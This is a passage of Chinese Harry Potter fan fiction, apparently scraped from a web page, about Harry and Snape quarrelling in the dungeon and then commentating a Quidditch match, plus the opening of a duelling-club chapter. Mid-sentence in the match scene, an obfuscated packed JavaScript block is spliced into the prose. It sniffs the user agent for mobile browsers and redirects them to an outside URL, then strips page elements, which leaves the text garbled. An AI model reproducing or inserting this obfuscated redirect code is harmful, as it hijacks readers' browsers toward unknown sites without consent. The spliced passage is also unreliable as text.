斯内普又发出一声轻蔑的冷哼,“格兰芬多式的盲目自信。佩弗利尔,你似乎忘了斯莱特林在球场上的统治力。” “是吗?”哈利脸上浮现出一个挑衅的笑容,他向前一步,声音不大,却清晰地传遍了整个地窖,“那你知不知道,西弗勒斯,在我那个‘年代’,是谁终结了斯莱特林那看似牢不可破的六年连胜?” 斯内普的脸色肉眼可见地沉了下去,如果眼神能凝结成冰,大概已经把哈利冻成冰块了。他干脆扭过头,重新将注意力放回他的坩埚上,拒绝再看哈利一眼。 泰迪看看哈利脸上不怀好意的笑,又看看斯内普那写满了“离我远点”的背影,“不打扰你们‘讨论’了!”他做了个鬼脸,“我得去找赫敏和罗恩,赫敏下午差点把我拖死在洛哈特的签名会长队里!罗恩那个叛徒居然装肚子疼溜了!我得去揭穿他!”说完,他冲两人挥挥手,抓起还在研究一个空药瓶的西比,一溜烟跑了。 泰迪像一阵风似的跑出去后,地窖里彻底安静下来。 斯内普默不作声地收拾实验台,将珍贵的药剂一一归位、锁好。当他转向办公桌,开始整理那片被哈利“借用”了一天的领地时,有条不紊的动作传达着再清晰不过的信息:时间到了。 “天黑了,佩弗利尔。”斯内普背对着哈利,声音听不出什么情绪,“我想,即使霍格沃兹的家养小精灵再忙,也应该有足够的时间修复好你的办公室了。” 哈利疲惫地打了个哈欠,伸了个懒腰,感觉全身的骨头都在嘎吱作响。一整天跟斯内普斗智斗勇,精神一直紧绷着,确实耗尽了他的精力。不管怎样,他今天的目的算是达到了——斯内普没有把他直接扔出去,说话虽然难听,但也算进行了“交流”。他得好好想想,下一次该用什么理由再“借用”这里。 他站起身,准备离开。目光习惯性地在地窖里扫了一圈,最终落在了那个存放常用药剂的架子上——几瓶贴着“无梦药剂”标签的熟悉瓶子整齐排列着。想到从冈特老宅回来后就没睡过一个好觉,他几乎没有思考,脚步一转,朝那边走了过去。 “今晚能睡好就行……”哈利嘀咕,声音里透着浓浓的倦意,指尖伸向其中一瓶。 就在指尖即将碰到瓶身时,一只冰冷的手牢牢扣住了他的手腕。那力道大得惊人,哈利感到腕骨被捏得生疼,痛得倒吸一口冷气,身体被迫停了下来。 “西弗勒斯?放手!你干什么?”哈利又惊又痛,试图挣脱,但那只手纹丝不动。 “我干什么?”斯内普冷笑,抓着哈利手腕的手指又收紧了几分,“我倒想问问你,佩弗利尔,你想干什么?在你活蹦乱跳地四处挑衅、甚至还有闲心去当什么该死的魁地奇解说员之后,你还需要这个?你以为这是可以随便乱碰的糖果吗?你把它当成什么了,普通的安眠茶?” 哈利被他问得一愣,手腕上传来的剧痛让他眉心紧锁,但斯内普话语里那种仿佛他正要做什么极度危险之事的指控和讥讽更激起了他的火气。“我——”他刚要反驳,却撞进斯内普那双近乎燃烧着怒火的黑眼睛里。莫名其妙地,解释的话脱口而出,“我只是……最近睡不好。冈特老宅之后……总是做噩梦。” “噩梦。”斯内普重复道,语气变得更冷,“那是精神震荡的后遗症,你以为是普通的失眠?这东西对你现在的精神状态没用,甚至可能让你的状况更糟!你对自己的问题一无所知,就敢随便伸手?”他顿了顿,声音里多了一丝不易察觉的急切,“睡眠有问题,为什么不早说?你是像卢修斯那样变成一个只会流口水的傻子吗?” “不早说?”哈利被这劈头盖脸的指责和手腕上的痛感激得怒火上涌,他猛地一甩胳膊——斯内普似乎没料到他会突然用这么大力气,竟真的被他挣脱了。 哈利揉着自己泛起红痕的手腕,连日积压的不满和被刻意忽视的怨气终于爆发,他用同样尖锐的讽刺回敬道:“哦?斯内普教授,您的记性是不是和您的好心情一起休假去了?过去整整两周,是谁把我当空气一样避开,连一个眼神都不屑给?我该庆幸您终于肯纡尊降贵地跟我说话了,而不是奢望您还会关心我的睡眠问题!” 斯内普的呼吸明显一窒。有那么一瞬间,哈利清楚地看到他肩膀绷紧了,嘴唇微微分开,却一个字也说不出来。他就那样看着哈利,眼中流露出某种难以名状的情绪。而哈利毫不退让地迎着他的目光,绿眼睛里燃着怒火,胸膛因急促的呼吸而起伏。 几秒钟仿佛被拉得很长。斯内普喉咙动了动,声音回来时已经失去了刚刚的怒气,“你现在需要特别调制的镇定药剂。” 他后退了一步,这个动作在两人之间拉开了更明显的距离。“普通的安眠方法对你现在的精神波动起不了作用。”他甚至没用魔杖,那几瓶无梦药剂便从哈利眼前咻地飞起,落到了药剂架的最顶层。 他的目光从哈利脸上迅速滑过,又匆忙移开。哈利觉得他似乎还有话要说,但那话最终消失在一声极轻的冷哼中。 斯内普最后冷冷地抛下一句:“在这里等着!敢再乱碰东西,后果自负。” 说完,他转身快步走向私人药材储藏室,袍角因动作急促而扬起,伴随着“砰”的一声轻响,隔间的门在他身后关上了。 哈利僵在原地,手还无意识地揉着发红的手腕,那里还残留着斯内普手指冰冷的触感。他盯着自己的手腕,指尖下的皮肤微微刺痛。地窖里一片死寂,压得他几乎喘不过气,耳边只有他自己略显粗重的呼吸声。 他抬起头,盯着那扇紧闭的隔门,脑子里全是刚才的画面——斯内普拦住他时近乎恐慌的急切,以及……被戳穿痛处后一闪而逝的难堪。还有他最后那句硬邦邦的:“在这里等着!” 哈利背靠着冰冷的石制药架,感觉心脏像是被什么东西狠狠攥紧,又重重抛下,一种汹涌而陌生的眩晕感席卷了他,让他一时无法动弹,也无法思考。 94. 解说台上的冰与火 上午十点半,距离格兰芬多对阵斯莱特林的赛季首场魁地奇比赛仅剩半小时。学生们一大早就坐不住了,三五成群涌向球场。远处的人声喧腾起伏,一浪高过一浪,被厚重的石墙挡住,墙内只留下一片相对的宁静。 而这份宁静,正是刚从赛前动员会“逃”出的泰迪迫切需要的。几分钟前,队长奥利弗·伍德还把木质战术板得砰砰作响,用他那特有的狂热作最后的鼓劲。弗雷德和乔治的恶作剧没能逗泰迪一笑,安吉丽娜的安慰也只是飘过耳边,队友们高昂的战意反倒让胸前的狮子徽章重如巨石,压得他快要窒息了。 泰迪那头随心情变色的头发,此刻正在浅绿色和棕灰色间跳个不停。这是他的第一场正式比赛,对手还是斯莱特林。一想到要在众目睽睽之下追逐那小小的金色飞贼,他就觉得胃里一阵翻江倒海——必须找个地方躲开这一切,哪怕就几分钟。 他拐过一道石墙,走进一条平时很少有人经过的走廊。这里足够安静,只有远处球场的嘈杂声隐约传来,成为模糊的背景音。他想找个窗台歇口气,却一眼瞥见走廊尽头有个熟悉的身影。 是德拉科·马尔福。 他蜷在长椅角落,穿着斯莱特林的绿色队服,铂金色的头发有些凌乱,不像平时那样齐整。他的肩膀微微抖着,整个人缩成一团。 泰迪犹豫了一下。虽然在学校里因为学院的关系不常公开来往,但去年那件可怕的事情后,他们短暂相处过,私下也说过几次话,关系并非外人所想的那样糟糕。他放轻脚步,慢慢走了过去。 “德拉科?”他试探着开口,“你在这儿做什么?比赛快开始了,不和队友在一起吗?” 长椅上的人明显吓了一跳,迅速抬手抹了把脸才转过头来。“泰迪?”他的声音带着点鼻音,“你怎么在这儿?” “我……有点紧张。”泰迪老实地回答,在德拉科旁边坐下,小心翼翼地保持着一点距离,“想找个地方静一静。你呢?你没事吧?” 德拉科看了他几秒,微微点头,眼光飘向窗外。“没什么,我也只是想一个人待会儿。” 泰迪清楚地看到他眼角还红着,脸上泪痕没干透,虽说之前用袖子匆匆抹了下,可那双灰蓝色的眼睛还是肿的。他又问:“德拉科,你也紧张吗?” “对上格兰芬多?”德拉科苍白的脸上挤出个勉强的笑,“不值得紧张。” 两人之间沉默了一会儿。泰迪也望向窗外,正好能看见远处球场的彩旗和零星走向看台的人影。 他想起最近听到的一些传闻,鼓起勇气,小声问,“我听说……你父亲在圣芒戈……他还好吗?” 德拉科的身体明显僵硬了一下。“他们说他……脑子坏了。”他没回头,眼睛仍是死死盯着窗外。“我去看过他……他连我都不认得了。” 泰迪心口刺了一下。他想说些安慰的话,又不知道该说些什么。 德拉科的声音更低了,透着一股茫然:“你知道吗,泰迪。我以前总是想让他看到我有多出色,想得到他的肯定。可后来,尤其是在那段日子里,我才发现,他和我以为的不一样。我害怕绝望的时候……他就在那儿,他明明知道……可他什么也没做,没有像我想象中那样来保护我。他只是选择了沉默。” “可现在……看他变成那个样子,连自己是谁都不知道……”他用力闭了闭眼,“我很难受。非常难受。” 泰迪有点不知所措,只好笨拙地拍拍德拉科的肩:“我知道你肯定很难受。”他想了想,认真地说,“德拉科,虽然情况不一样,我的爸爸妈妈在我很小的时候就去世了,我不记得他们。但是哈利告诉我,他们非常非常爱我,是为了保护我才不在的。所以我想,你的父亲,他心里肯定也是……只是方式可能不太一样吧?或者他自己也不知道怎么做才是对的?” 德拉科扭过头,惊讶地看着泰迪,“是啊。”他低下头,声音里满满的疲惫,“现在母亲那边……还有家里,有很多事情……我好像不能再像个孩子一样……” 看着这样的德拉科,泰迪心里并不好受。他站起身,对着仍旧蜷缩在长椅上的德拉科伸出了手。 “我知道这很难,德拉科。但我相信你会应付过来的!”他诚恳地说,“走吧,比赛快开始了。别忘了,我们可是赛场上的对手。我很期待和你较量。” 德拉科抬起头,看着泰迪伸出的手,阳光照在泰迪真诚的脸上。他眼神复杂,像被触动了,手指微微动了下,下一秒几乎就要握住。 这时,走廊那头传来罗恩的大嗓门:“泰迪!你在这里干什么?快点!伍德快气疯了!”他看见德拉科,脚步一顿,脸上警惕起来。“马尔福?你不该在斯莱特林更衣室吗?” 罗恩的出现像惊醒了德拉科,他瞥了罗恩一眼,又看了看后面的赫敏(赫敏对他点了点头,算是打招呼),迅速收起刚才的脆弱,重新戴上那副高傲的面具,那只差点伸出的手也缩了回去。 他自己站了起来,整理了一下队服,斜了罗恩一眼,语气硬了点:“用不着你管,韦斯莱。” 走过泰迪时,德拉科低声说:“场上见,泰迪。我会让你见识斯莱特林的速度。” 说完,他挺直腰板,头也不回地走了,只是背影还显得有点单薄。 泰迪看着他离开的背影,心里说不出是什么滋味。 “你怎么会碰上马尔福?”罗恩凑过来嘀咕,“他没找你麻烦吧?” “没有,我们只是碰巧遇到,聊了一会儿。”泰迪回答。 赫敏若有所思地望着德拉科离去的方向,轻轻叹了口气,“他看起来很难过,卢修斯·马尔福变成那样,对他打击肯定很大。” 泰迪默默点头,把心里的情绪压下去,重新振作起精神,“我们快走吧,比赛要开始了!” —————— 魁地奇球场喧声震天,看台上挤满了围着各自学院围巾、戴着帽子的学生,兴奋的喊叫声和助威声汇成一片沸腾的浪潮。 李·乔丹站在高高的解说台上,声音透过魔法扩音器响彻全场: “女士们先生们!欢迎来到本年度霍格沃兹魁地奇杯的揭幕战!卫冕冠军——斯莱特林!对阵英勇无畏的——格兰芬多!今天,我们有幸请到一位特别嘉宾,他不仅是霍格沃兹最受欢迎的黑魔法防御术教授,还是一位飞行技巧惊艳的巫师!没错!就是在情人节那天骑着光轮2001,为我们上演了一场精彩绝伦飞行秀的——哈利·佩弗利尔教授!掌声在哪里?” 震耳欲聋的欢呼声几乎要掀翻整个球场。 哈利微笑着从旁边的入口走上解说台,在李·乔丹旁边坐下。他今天穿了一件深灰色的休闲长袍,头发依旧不怎么服帖,绿眼睛在阳光下闪闪发亮。他朝欢呼的学生挥挥手,目光不经意扫过斯莱特林看台。 李·乔丹内心的小人得意得快跳起舞来。这可是他精心策划的杰作——谁不想和那个在情人节公开展示了惊人飞行技巧,且备受全校学生崇拜的佩弗利尔教授共同解说一场比赛呢?飞行那么帅,人又好说话,他已经能想象两人齐声为格兰芬多加油的画面。史上最佳解说组合,非他俩莫属!瞧,连麦格教授都微微点头,显然十分认可他的选择。 “佩弗利尔教授,欢迎您的到来!”李·乔丹热情地说,“很高兴您能接受我的邀请!” “我的荣幸,李。”哈利温和的声音传遍球场,“我很期待今天的比赛,希望我的评论不会太外行。” “怎么可能!”李·乔丹立即接话,然后将注意力转回赛场——球员通道里,格兰芬多和斯莱特林的队员们正列队走出。 “瞧瞧格兰芬多的阵容!由最可靠的队长兼守门员奥利弗·伍德领队,他已经蓄势待发!追球手——安吉丽娜·约翰逊!艾丽西亚·斯平内特!凯蒂·贝尔!她们是空中的明星!还有无敌击球手——弗雷德和乔治·韦斯莱!斯莱特林小心了,他们可不好惹!”双胞胎正冲着斯莱特林看台挤眉弄眼。“最后,是格兰芬多的新星,二年级找球手——泰迪·卢平!” 泰迪拿着扫帚跟在队伍后面,小脸绷得紧紧的,头发紧张地变成了浅绿色。 李·乔丹敷衍地介绍斯莱特林:“现在,斯莱特林入场!队长马库斯·弗林特带队,那张脸活像被游走球砸过十次!找球手德拉科·马尔福——没错,就是那个靠着他老爸的钱,让整个队伍都骑上光轮2001的家伙!” 两队分立场地两侧,泾渭分明。 “双方队长握手!”李解说道,盯着伍德和弗林特几乎掰手腕的架势,“气氛火药味十足——霍琦夫人放出金色飞贼!游走球也已升空!哨声响起,比赛开始!” 鬼飞球被抛向空中,十四道身影齐齐腾空而起,红色和绿色的身影瞬间在空中交错。 “哦!比赛一开始就异常激烈!”李·乔丹扯着嗓子喊,“斯莱特林发动了闪电战!弗林特带球猛冲,两侧是普塞和蒙太,是他们的‘鹰头进攻阵型’!安吉丽娜上前拦截——” 斯莱特林像一支绿色利箭,直刺格兰芬多半场。弗林特粗野地用胳膊肘撞开安吉丽娜,狠狠将鬼飞球砸进门框。 “哦不!斯莱特林得分!”李·乔丹激动地嚷道,“弗林特硬闯得手!不过——慢着,那动作也太野了!刚才撞安吉丽娜绝对是犯规!霍琦夫人犹豫了下,没吹哨——可能是安吉丽娜也有阻挡?但这也太冒险了!”他瞥见麦格教授射来的严厉目光,赶紧补一句,“咳,反正弗林特凭蛮力为斯莱特林先拔头筹,10比0!” “斯莱特林开场很强势,”哈利冷静地接过话头,“典型的利用身体优势强压打法。弗林特冲击力很强,但这种擦边球战术风险也高。” 场上,泰迪险些被一颗游走球砸中,幸亏弗雷德及时挥棒把它打飞。泰迪吓得头发都变白了,盘旋的动作也有些不稳。另一边,德拉科骑着光轮2001,在空中灵活盘旋,眼睛四处搜寻金色飞贼。 “哎哟,新人找球手有点慌啊!泰迪,稳住!拿出你训练时的样子!”李·乔丹大声鼓劲,余光却瞄到哈利似乎心不在焉。哈利的目光好像老是飘向斯莱特林看台的某个方向。 嗯?佩弗利尔教授怎么老往斯内普那边看?老蝙蝠那张万年不变的臭脸有什么好看的?难道……“八卦前哨站”之前传的那些小道消息是真的?他俩真的“关系匪浅”?可情人节那把光轮2001,不是都传是佩弗利尔教授的神秘爱慕者送的吗?还绑着粉红蝴蝶结!难道是斯内普送的?不不,绝不可能!李·乔丹打了个哆嗦。那教授到底在看什么? 就在他胡思乱想时,场上形势突变。弗雷德和乔治默契出手,一记漂亮的“双子星连击”,把冲向艾丽西亚的游走球精准打向对方击球手。 “格兰芬多发起反击!”李·乔丹迅速把注意力拉回赛场,“韦斯莱双胞胎配合得天衣无缝,那一招‘双击防御’太棒了!安吉丽娜带球向上!她要做什么?” 安吉丽娜抓住空当,把鬼飞球抛给底下的艾丽西亚。艾丽西亚晃了个假动作,回传一气呵成,鬼飞球稳稳进门! “漂亮!格兰芬多扳平!10比10!”李·乔丹兴奋得快跳起来,“安吉丽娜和艾丽西亚,完美配合!” “格兰芬多追球手的默契和跑位意识极佳,”哈利语气里透出赞赏,“这次进攻流畅极了,时机把握得恰到好处,波斯科夫诡计用得很漂亮。” 比赛继续白热化,格兰芬多靠团队配合渐入佳境,而斯莱特林则依靠更强的个人能力和时而出现的犯规动作紧咬比分。 双方你追我赶,比分交替上升,很快打成30比30平。斯莱特林的攻势愈发凶狠。 “格兰芬多想用快速传切撕开防线,可斯莱特林的盯人防守咬得死紧!”李·乔丹喊道,“蒙太和艾丽西亚争抢高空球时,暗地里用扫帚尾勾了她的扫帚——哎呀!艾丽西亚失去平衡!普塞抢到鬼飞球,晃过伍德——得分!斯莱特林领先,40比30!” “嘿!那是个犯规!蒙太那是故意勾人扫帚!”李·乔丹愤愤不平地喊道,“霍琦夫人,您看见了吧?她吹哨了——可只给了格兰芬多任意球?没警告蒙太?这判罚也太轻了!” 他转向哈利求援,“教授,您怎么看?” 哈利没急着开口。他微微眯眼,扫过场上庆祝得分的斯莱特林队员,嘴角勾起一抹挑衅的笑,眼神不紧不慢地移向斯莱特林看台。那笑意加深,带着毫不掩饰的算计意味。 果然,哈利开口了,声音通过魔法扩音器,清晰地传遍了球场的每一个角落: “斯莱特林为了赢球,游走在规则边缘的行为……确实很有特色。当然,要说对这种不择手段——我是说,对这种‘实用主义’战术理解最深的,恐怕非斯莱特林院长莫属。” 哈利侧身,目光精准落在教师席上脸色铁青的斯内普身上,彬彬有礼地邀请道:“斯内普教授,您能否赏光上来,为大家分析一下刚才斯莱特林球员的战术意图?我想大家都很期待听到您的专业见解。” 全场静了一瞬。 李·乔丹的下巴差点砸到台子上。他难以置信地看看哈利,又惊恐地望向教师席上那个阴沉的身影,感觉解说台的木板都冷得发抖。请老蝙蝠上来?佩弗利尔教授疯了吗?他那眼神能把人冻成冰块!梅林保佑,千万别上来! 所有人的目光都转向斯内普。他苍白的脸上肌肉紧绷,黑眼睛里燃着冰冷的怒火,死死瞪着哈利。李以为他会直接拒绝,甚至干脆掏出魔杖变条毒蛇咬人——这完全有可能。 然而,斯内普沉着脸站起身,黑袍翻滚,裹挟着地窖的寒气,一言不发走下教师席,穿过场地,径直朝着解说台走来。他每迈一步,李·乔丹都觉得脖子上的寒毛多竖一根。 斯内普登上解说台,在李·乔丹另一侧重重坐下,整个台子仿佛冷了几度。他光是坐在那儿,阴森的气场就让李抖得差点哭出来。 斯内普一开口就是毫不留情的尖刻:“您问战术意图,佩弗利尔教授?在竞技场上,成功者不会被规则束缚——而是懂得利用规则。斯莱特林队员只是精明地抓住了时机。我相信只要有眼睛,这是一目了然的事。”他顿了顿,脸上毫无表情,唯独嘴角挂着一丝嘲弄,“还是说,您指望我赞美格兰芬多那充满勇气却毫无洞察力的进攻方式?” 哈利却微微一笑,听起来异常愉快,“既然斯内普教授大驾光临,我们继续解说比赛。李,格兰芬多开始进攻了!” 李·乔丹嘴皮抖了抖,“呃——对!格兰芬多进攻!安吉丽娜带球!”他强打精神,试图忽略身旁逼人的低气压,可颤抖的声音还是出卖了他的紧张,“她速度很快!突破很犀利!斯莱特林的防守得跟上!” 斯内普冷冷开口:“格兰芬多的进攻毫无章法,过于依赖个人技巧。这种花哨的盘带在职业赛场连一秒都撑不到,应该直接传球。” 李·乔丹吓得一哆嗦,“呃……哦!安吉丽娜还在推进——” 哈利微笑着反击:“可正是这种大胆的尝试,让格兰芬多屡屡打破僵局。我觉得很有看头。” 场上,斯莱特林迅速断球,普塞带球反击。 斯内普不屑道:“看吧,格兰芬多的漏洞暴露无遗。斯莱特林抓住了机会——这才是真正的战术头脑。” 哈利反驳:“只是暂时的失误罢了。伍德站位极佳,普塞的射门角度几乎没有,格兰芬多的回防也已经到位。您觉得呢,斯内普教授?” “天真的乐观。靠伍德一人弥补不了防线的幼稚疏漏。”斯内普冷哼,“和某些人一样,总是把鲁莽误认为勇气,却对自身行为的后果毫无准备。” “哦?”哈利轻笑一声,毫不示弱,“至少格兰芬多敢冒险拼一把,积极寻找机会,而不是一味地保守和……躲避。”他刻意加重了最后几个字。 李·乔丹惊恐地看看斯内普,又看看哈利,觉得自己像个倒霉的夹心饼干,冷汗都下来了。他们这是在解说吗?怎么感觉像在吵架!而且吵的好像根本不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156432|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛! 就在李·乔丹被两人针锋相对的气氛弄得晕头转向时,场上局势有了新的变化。 斯莱特林的击球手德里安·博尔——不知是因为比分迟迟拉不开差距,还是受了队长的暗示——锁定了在低空搜寻飞贼的泰迪。他抡起球棒,拼尽全力击出一记游走球。那颗黑色铁球带着尖啸,速度惊人,宛如炮弹直冲泰迪的面门! “小心!泰迪!!”李·乔丹吓得从椅子上跳了起来,失声喊道。 解说台上,另两人同时有了反应。 哈利一跃而起,一手死死抓住栏杆,另一手握拳,咆哮道:“博尔!你这个混蛋!你敢让他掉下去——!那是谋杀!裁判!” 而坐在另一边的斯内普,虽然没有站起来,可他身上的阴冷几乎要溢出解说台。李·乔丹听见他从牙缝挤出几个字: "愚蠢。找死。” “哇哦……”李·乔丹看着两位教授同时爆发,整个人都傻眼了。不只是这两位,他眼角余光瞥见,连一向沉稳庄重的麦格教授都从教师席上站了起来,手里紧紧攥着格兰芬多围巾的一角,怒不可遏地瞪着博尔,就差和佩弗利尔教授一起吼出来了。 幸好,泰迪反应极快,在千钧一发之际向下一沉,游走球贴着头皮飞了过去,撞在后面的看台上发出一声巨响。尽管如此,他也吓得不轻,连飞行的动作都有些摇晃不稳。 霍琦夫人尖锐的哨声响彻全场,她怒气冲冲地飞到博尔面前,果断掏出黄牌指向他,同时大声宣布斯莱特林队因恶意犯规被判罚球。 “黄牌?那种明显企图伤人的行为只得到黄牌?”哈利难以置信,“博尔应该直接被罚下场!霍琦夫人!这是蓄意袭击!裁判必须严惩这种可耻行为!” “学校比赛的判罚向来宽松得可笑,”斯内普冷冷附和,这可能是两人今天首次意见一致,“博尔这种鲁莽暴力,在正规比赛里早被驱逐了。” 李·乔丹目瞪口呆。刚才还在唇枪舌战的两位教授突然统一战线,让他一时无法适应。 “佩弗利尔教授!斯内普教授!”是麦格教授的声音,她已经重新坐下,语气中的怒火转而砸向解说台,“佩弗利尔教授!收起你那几乎要冲下场施咒的冲动!斯内普教授,停止你那几乎能石化人的眼神!你们是教师,不是场边失去理智的暴徒!立刻给我冷静下来,回到解说工作上来,否则我将不得不请你们两位离开解说台!” “哦梅林,麦格教授真的生气了……”李·乔丹吓得缩起脖子,连大气都不敢出,心里却忍不住腹诽了下:“可是教授,您刚才也差点……”当然,这话他只敢在心里想想。 哈利似乎被麦格教授的话点醒,深吸了几口气,慢慢坐回了椅子上,但脸色依然很难看。斯内普僵硬地转回头,重新看向赛场,只是周身冰冷的威压丝毫未减。 场上,也许是刚才的惊魂一刻激发了泰迪的斗志,他的飞行流畅了许多,灵活地躲过了弗林特一次恶意的阻拦,还巧妙借对方的体型完成一个漂亮的急转弯。 “哇!泰迪躲开了弗林特的拦截!”李·乔丹抓住机会喊道,“精彩的侧身回旋!他看起来完全没受刚才那个危险犯规的影响!真是个勇敢的小狮子!哦,再瞧瞧博尔那边——他挥棒的动作看起来可有点僵硬!是不是刚才自家院长的‘死亡评价’把他吓得不敢用力了?这对格兰芬多可是好消息!” “非常出色的应变能力和心理素质。”哈利赞道,然后把话题抛给斯内普,“您怎么看,斯内普教授?卢平的表现。” 斯内普沉默片刻,才淡淡道:“……基本的飞行技巧而已。状态还可以。” 李·乔丹眨眨眼,惊讶地瞥了斯内普一眼。这评价似乎比之前客气了不少? 几分钟后,德拉科试图用一个“弗朗斯基假动作”来迷惑泰迪,佯装看到了飞贼并向下俯冲。 “哦?马尔福想用弗朗斯基假动作?”哈利当即指出,“可惜太明显了,卢平没有上当。这个动作需要更好的时机和隐蔽性。” 李·乔丹紧张地转头看向斯内普,等着他为自己的学生辩护。然而—— “时机确实不对。”斯内普竟然淡淡地附和了一句。 李·乔丹使劲眨了眨眼,怀疑自己又听错了。他越来越摸不着头脑——斯内普今天到底是怎么了?居然没护着他学院的学生? 比赛陷入胶着,双方比分紧咬,斯莱特林以70比60暂时领先。突然,一点金色的光芒在球场高处闪现!泰迪和德拉科几乎同时发现了目标,像两道离弦之箭,朝着那抹金色冲了过去。 “金色飞贼!”李·乔丹嘶吼起来,“就在斯莱特林球门柱上方!泰迪和马尔福都发现了它!” 两人互不相让。德拉科的光轮2001直线速度略胜一筹,泰迪紧随其后。弗林特试图再次阻拦泰迪,韦斯莱双胞胎早有准备——乔治一记精准侧旋,将游走球打向弗林特,逼得他狼狈闪避;弗雷德反手一挥,毫不犹豫把另一颗游走球轰向德拉科。 金色飞贼狡猾地一个急转,垂直向下俯冲。 飞在前头的德拉科一心追逐金光,没察觉侧后方的游走球,直到危机逼近才猛扭扫帚躲避,虽然避开了直接撞击,却也因此失去了平衡和宝贵的几秒钟。泰迪则毫不迟疑地抓住机会,整个人贴在扫帚上,呈自由落体般跟着飞贼直坠而下! 哈利完全顾不上解说了,紧张地站起来抓住栏杆。斯内普也坐直身体,微微前倾,目光牢牢追随那个急速下坠的身影。 “他要撞上去了!”有人在看台上尖叫。 泰迪一路急追,速度越来越快。扫帚几乎要撞上地面的那瞬间,他也丝毫没有减速,而是伸长手臂,指尖险之又险地抓住了那抹逃窜的金色!巨大的冲力让他无法及时拉起扫帚,连人带帚在草地上翻滚了几圈,最终仰面躺倒,喘着粗气,高高举起了那只紧握着金色飞贼的手臂。 “是——泰迪!泰迪·卢平抓住了金色飞贼!”李·乔丹声嘶力竭,“格兰芬多胜出!210比70!” 球场瞬间被格兰芬多的红色淹没!队员们冲向泰迪,将他高高抛向空中。泰迪兴奋大笑,头发在空中闪成耀眼金色。 德拉科缓缓降落在另一边的草地上,默默注视着被队友簇拥的泰迪。片刻后,他抬手用力抹了把脸,快步走向球员通道,背影消失在喧嚣中。 解说台上,哈利脸上的灿烂笑容藏也藏不住,他转向旁边的斯内普,绿色的眼睛里都是得意的笑,“看来格兰芬多的整体实力确实更胜一筹,斯内普教授。泰迪——我是说卢平今天抓飞贼的表现,作为首次对战斯莱特林的比赛,相当精彩,不是吗?” 斯内普的视线在场下那个被抛向空中的金色脑袋上停顿了一瞬,才缓缓移开。瞥见哈利的笑,他的嘴角极轻微地抽动了一下,随即迅速避开了目光,鼻子里哼了一声:“……还算凑合。看来某位自诩经验丰富人士的指导,总算没有完全拖后腿。” 李·乔丹震惊得眼珠子都快瞪出来了。凑合?从斯内普嘴里说出来?这简直是最高级别的赞美了吧?他对自己学生都没这么宽容! 斯内普似乎不愿意再多待一秒,站起身就准备离开。 “西弗勒斯,”哈利的声音带着笑意追了上去,“晚上我办公室有个小庆祝会,给泰迪庆祝首战胜利。你应该不会错过吧?” 斯内普的脚步顿住,身体僵硬了一秒,缓缓侧过头,用李·乔丹完全读不懂的危险眼神盯着哈利,“佩弗利尔,别、得、寸、进、尺!”他一字一顿地说完,转身快步离开。 “晚上8点,别忘了!”哈利又在他背后喊了句。 “啪嗒!”李·乔丹手里的魔法扩音器掉落在地。他呆呆地望着斯内普消失的方向,又看看若无其事整理长袍的哈利,脑子里一个激灵。吵了一整场……一起发飙……最后还邀请去庆祝会?斯内普那反应……梅林着火的胡子!他手忙脚乱捡起扩音器,冲下看台——弗雷德!乔治!下一期“八卦前哨站”要火了! 95. 混乱的决斗台(上) 三月上旬的一个周末,距那场惊心动魄的魁地奇比赛刚过去两周,霍格沃兹又迎来一场盛事。 泰迪紧随罗恩和赫敏,几乎小跑着穿过走廊。礼堂入口处人头攒动,他们好不容易挤到靠近礼堂中央的位置,踮起脚尖,试图越过人群看清里面的情景。 “梅林啊,整个学校的人都来了吧!”罗恩瞪大眼睛,被眼前的景象惊得咋舌。 “谁会错过呢?”赫敏拨开挡在前面一个赫奇帕奇学生的胳膊,语气透着无奈的揶揄,“最新一期的《八卦前哨站》把佩弗利尔教授和斯内普教授的事炒得沸沸扬扬,谁不想亲眼瞧瞧?况且决斗俱乐部与协会同期启用,这本身就是个大新闻了。” 确实,自那以后,关于两位教授关系的猜测就没停过。先是情人节那把神秘的光轮2001,接着是解说台上那场火药味十足的“合作”,最后是佩弗利尔教授邀请斯内普教授参加庆祝会——据说斯内普用能冻死人的眼神拒绝了。这一切都成了霍格沃兹最新的热门话题。 泰迪抿了抿嘴。这些日子,不少人来向他打听——尤其是格兰芬多同学,但他都只是含糊带过。西弗当然来参加他的庆祝会了,但哈利和西弗都不喜欢成为八卦中心,他自然也不会多说。 罗恩凑近泰迪,眼睛贼溜溜地四处瞄,压低声音,好奇心完全抑制不住,“伙计,说真的,他俩到底什么关系?斯内普教授今天会来吗?” “罗恩,我说过多少次了,他俩就是同事。”泰迪翻了个白眼,懒得再理他,“哈利邀请过西弗,但西弗很忙,今天估计不会出现。” 原本摆放四张学院长桌的地方已被清空,礼堂中央凭空出现了一个铺着深红色地毯的决斗舞台。墙壁上高悬霍格沃兹校徽,旁边挂着几面崭新旗帜,银线绣成的交叉魔杖图案简洁而有力——泰迪猜这准是哈利或弗立维教授的手笔。 舞台以魔法屏障分为两区,一侧标着“俱乐部基础教学区”,另一侧写着“协会高阶演练区”。几名高年级生在里面流畅地练习咒语攻防,吸引不少学生围观。每当魔咒相撞,便激起蓝色光波与阵阵惊叹。 “那是什么咒语?”罗恩眼睛发亮地问。 赫敏正要开口,珀西突然冒出来,摆出一副级长的严肃架势。 “那是多重盔甲护身咒,适合中阶决斗训练。”他背着手,一本正经地说,“低年级学生得先掌握基础决斗礼仪和防御咒——”一群低年级生立刻围上来,听他讲解决斗守则。罗恩翻了个白眼,拉着泰迪和赫敏悄悄溜走。 “说到这个——”罗恩一边拽着泰迪朝俱乐部那边走,脸上满是跃跃欲试的神情,“你的缴械咒练得怎么样了?多亏佩弗利尔教授提前教咱们!等会儿分组练习,咱们得让斯莱特林那帮鼻孔朝天的家伙见识见识格兰芬多的厉害!” “得了吧,罗恩,”赫敏毫不留情地泼冷水,“你确定你的‘除你武器’没问题?我记得你上次躲进桃金娘的盥洗室练习,差点把魔杖甩进马桶。我可从没见桃金娘笑得那么开心。” 